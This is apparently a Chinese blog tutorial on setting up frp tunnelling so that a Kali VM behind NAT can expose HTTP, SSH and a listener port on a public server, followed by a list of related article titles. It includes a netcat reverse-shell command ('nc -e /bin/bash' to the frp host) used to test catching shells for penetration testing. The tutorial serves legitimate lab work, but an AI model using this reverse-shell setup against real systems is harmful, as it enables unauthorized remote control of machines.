文章目录

  • 前言
  • Frp简介
  • 准备工具
  • 实现内网穿透
    • frp服务端配置
    • frp客户端配置
  • 测试
    • HTTP服务测试
    • ssh服务测试
    • 反弹shell测试
  • 注意

前言

由于工作常需要用到kali,但是公网服务器并没有安装kali镜像,本地只安装了kali虚拟机,而msf渗透时常常需要反弹shell到kali中,但内网中的kali并没有公网IP地址,因而可以通过frp工具将 内网中的服务 映射到 公网IP地址的端口中

从前的日色变得慢,车,马,邮件都慢。

Frp简介

frp 是一个高性能的反向代理应用,采用C/S架构(客户端/服务端),通过简单的配置能够将客户端中的tcp, udp, http, https 等协议隐射到服务端相应端口上,通过访问服务端对应的端口即能够访问到客户端对应的服务。
frp实现效果大致如下,通过访问公网服务器的某个端口即可访问到内网服务器中的某个服务

准备工具

为了完成frp内外穿透,你需要准备好如下资源/工具

  • 公网服务器,这里我用的是CentOS7.6
  • frp服务端/客户端工具,github下载
  • 内网服务器或本机,这里我用的是kali2020虚拟机

frp下载github链接
frp说明github链接
这里也提供amd64架构的网盘资源
链接:https://pan.baidu.com/s/1cLO2hI4t9wiJ4aAl0axUsw
提取码:qwer
frp工具服务端和客户端不需要分开下载,部署时选择服务端或客户端部署即可

实现内网穿透

frp服务端配置

首先将下载好的frp工具上传到服务器【这里我用的FinalShell可以直接上传文件】,如果不方便的话也可以用wget下载,tar命令解压如下:

修改frps.ini配置文件,我这里是将80端口的http服务、22端口的ssh服务和9002端口的tcp服务,用于kali反弹shell的监听端口 ,都分别进行映射,具体可以根据需要进行配置:

[common]
# 一、服务器的基本配置部分
# 7000 是FRP服务端口,可以改
bind_port = 7000
# dashboard_user和dashboard_pwd是FRP网页版管理员用户名密码,可以改。
dashboard_user = admin
dashboard_pwd = frpadmin@2022
# 7500 是网页版管理端口:可以通过 http://服务器ip:7500登陆
dashboard_port = 7500
# 服务器和客户机之间的心跳连接
heartbeat_timeout = 30
#token设置,需要和客户端一致,客户端与服务端通过token进行认证,建议满足复杂度要求
token=frpToken@admin2022# 二、添加的映射端口
[common]
# FRP服务器的公网ip
server_addr = 【这里写自己的公网服务器地址】
#例如:server_addr = 1.1.1.1# FRP服务器的,服务端口,这个可以改,不过客户端的也要一起改才行。
server_port = 7000# 三、转发端口:[test01]、[test02] 这些没有任何意义,就是大致描述这个端口作用。
# 每增加一个转发端口,复制下面的两行,然后将[]里面的和vhost_http_port_03改了就行了。
#[test01]
#vhost_http_port = 9001#[test02]
#vhost_tcp_port = 1315
#转发端口配置,实际测试这里影响不大,主要取决于客户端的配置
vhost_http_port = 9001
vhost_ssh_port = 9002
vhost_tcp_port = 9003

启动frp服务端如下:

此时通过访问服务器的7500端口可以看到frp服务运行情况,用户名和密码为上面配置的dashboard_user和dashboard_pwd的值:


至此,frp服务端正常运行

frp客户端配置

同样的方式将frp工具上传到kali虚拟机中,这里要确保kali是能够正常联网的,同样用tar命令解压,配置frpc.ini文件如下:

# 客户端配置
[common]
server_addr = 【这里写自己的公网服务器地址】
#例如:server_addr = 1.1.1.1
server_port = 7000          #frp服务端口要和服务端设定的一致
token = frpToken@admin2022  #token要和服务端一致# 配置http服务,可用于小程序开发、远程调试等,如果没有可以不写下面的
[web]
type = http
local_ip = 0.0.0.0
local_port = 80   #本地需要映射的端口
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9001 #映射到服务端的端口#kali ssh
[ssh]
type = tcp
local_ip = 0.0.0.0
local_port = 22
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9002  #tcp msfconsole
[tcp]
type = tcp
local_ip = 0.0.0.0
local_port = 9003
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9003

kali上运行frp客户端如下,此时要确保frp服务端正常运行,看到我们配置的三个端口均正常映射,如果显示连接拒绝可以考虑在防火墙上放行对应端口
至此,服务端和客户端均正常配置

测试

HTTP服务测试

此时在kali上用python开启一个http服务进行测试

python3 -m http.server 80

http服务正常开启

通过访问我们设定的公网IP:对应端口即可看到kali上开启的HTTP服务

在7500端口的frp管理员界面也可以看到对应的frp映射链接

至此,我们可以通过访问公网IP的对应端口来访问内网服务器中对应的服务

ssh服务测试

首先确保kali上正常开启了ssh服务,且frp服务端和客户端正常启动

在7500端口的frp管理员界面也可以看到对应的frp映射链接,这里比较疑惑的是frp客户端和服务端都配置了ssh映射端口为9002,但是实际要根据这个管理端界面提供的端口来连接ssh

用连接ssh进行测试,可以看到通过4880端口成功登入ssh

反弹shell测试

在kali中利用msf工具时为了反弹shell常常需要设定本地监听端口,而虚拟机中的kali由于没有公网地址因此较难对公网中的服务器展开测试,通过frp代理很好的解决了这个问题
在上面的配置中,我配置了一个基于tcp的9003端口,映射到虚拟机kali的9003端口作为反弹shell的监听端口,这样就能够利用虚拟机kali对公网服务器进行测试,具体展开测试如下:
首先在kali上开启监听

接下来用另一台能联网的服务器反弹shell

nc -e /bin/bash 【frp服务器地址】 【frp映射TCP端口】
例:nc -e /bin/bash 1.1.1.1 9003

执行命令后成功在kali中接收到shell

当然这里也可以用msf生成payload进行测试,这里就不再继续演示

注意

利用frp穿透内网时需要注意,由于frp采用了C/S架构,因此用户对于frp服务端映射端口的访问,在客户端看来都是本地的访问,相当于客户端的frp来访问自己的服务,再将流量转发出去,总结就是frp客户端认为所有的访问均来自本地,不能知道真正的访问者IP,frp服务端能够看到"真正"的访问者IP,没准访问者也使用了代理
因此上面在访问HTTP或ssh时,kali虚拟机认为这些访问来自于本地的frp客户端,并不能知道真正的用户来自哪里,这对于frp客户端的安全策略将有更高的要求

若有其他疑问,欢迎评论区留言或与我联系~

frp内网穿透—将kali代理在公网中进行渗透测试相关推荐

  1. frp内网穿透+Nginx反向代理

    frp内网穿透+Nginx代理 frp 的作用(来自百度百科) 利用处于防火墙后的机器,对外网环境提供 http 或 https 服务. 对于 http, https 服务支持基于域名的虚拟主机,支持 ...

  2. linux frp 内网穿透 nginx反向代理

    wget https://github.com/fatedier/frp/releases/download/v0.20.0/frp_0.20.0_linux_amd64.tar.gz frps.in ...

  3. frp内网穿透-公网IP低成本使用高性能kali

    frp内网穿透-公网IP低成本使用高性能kali 1.frp Github项目地址:https://github.com/fatedier/frp 找到最新的releases下载,系统版本自行确认. ...

  4. CentOS Frp内网穿透:Frps+Nginx反向代理

    目录 服务器使用配置 一.Nginx安装 二.Frps安装 三.frpc安装 服务器使用配置 CentOS 7.6 CPU: 2核 内存: 4GB 一.Nginx安装 参考<Centos配置Ng ...

  5. Frp 内网穿透服务器在渗透中的应用

    内容 实战-在内网发布服务使之可在公网访问 使用 frp 搭建内网穿透服务器 实战-kali 配置 MSF 接收来自公网的 shell 实战-跨网段获取内网 shell 实战-内网穿透-二级代理 实战 ...

  6. Frp内网穿透——frps服务端部署

    由于现在IPv4地址的短缺,在国内不可能每个设备都会分配到一个公网IP,因此从公网中访问自己的私有设备向来是一件难事儿.本次带大家了解一下frp内网穿透的服务端教学,让你也能够部署一个内网穿透服务. ...

  7. 手把手教你用frp内网穿透

    手把手教你用frp做内网穿透 frp 是一个专注于内网穿透的反向代理应用程序,使用时需要花钱申请公网IP和云服务器,可以将内网服务以安全.便捷的方式通过具有公网 IP 节点的中转暴露到公网. 一.认识 ...

  8. FRP 内网穿透下载配置

    FRP 内网穿透下载配置 Frp服务的建造 下载: 修改配置文件 frps.ini(服务端)配置文件解释说明: frpc.ini(客户端)配置文件解释说明: 启动服务 配置启动: 创建server端服 ...

  9. 树莓派frp内网穿透

    树莓派+frp内网穿透 一.frp 二.frp作用 三.安装与配置 1.服务器端 2.客户端(树莓派) 一.frp frp 是一个高性能的反向代理应用,支持 tcp, udp, http, https ...

最新文章

  1. Repository 设计模式介绍
  2. C语言数组的深入理解
  3. 运用El表达式截取字符串/获取list的长度
  4. python基础之删除文件及删除目录的方法
  5. gitlab用户添加ssh免密钥认证后clone还是要求输入密码
  6. Altium Designer20原理图绘制
  7. select 设置发送超时发送注意事项
  8. MySQL安装叫重启,如何重启MySQL,正确启动MySQL
  9. QT中文乱码深度剖析
  10. 如何防止SWF文件被反编译
  11. 如何将网易云ncm格式转换为mp3格式
  12. matlab 非线性系统仿真,非线性控制系统毕业论文--基于Matlab的非线性系统控制仿真研究...
  13. VOIP Codec 三剑客之 ISAC/ILBC -- ISAC (1) 介绍
  14. 计算机桌面设置上时间表,如何在电脑桌面设置显示星期
  15. 愿天下有情人都是失散多年的兄妹 (25 分)
  16. 【PyTorch】Balanced_CE_loss 实现
  17. 我支持刘翔,理由有三
  18. 电脑双屏显示变单屏后部分程序无法在当前屏幕显示的问题
  19. python和office_微软再出神器,这次终于对Python下手了!
  20. 基于springboot学生公寓管理系统-计算机毕业设计源码+LW文档

热门文章

  1. 利用Python爬虫爬取网页福利图片
  2. JAVA判断上传文件后缀名是否符合规范MultipartFile
  3. 默认墨迹天气 下雪效果
  4. JAVA中多个标点符号连用_标点符号用法:两个标点符号连用的说明
  5. 如何使用Python从图片中提取文字?
  6. 自动缩放文字的TextView
  7. 2021-03-07
  8. 将csv写入mysql数据库_从.csv文件到数据库
  9. 知乎移动端动态化方案 :Morph
  10. SAP 标准教材和自学方法 摘自qiangsheng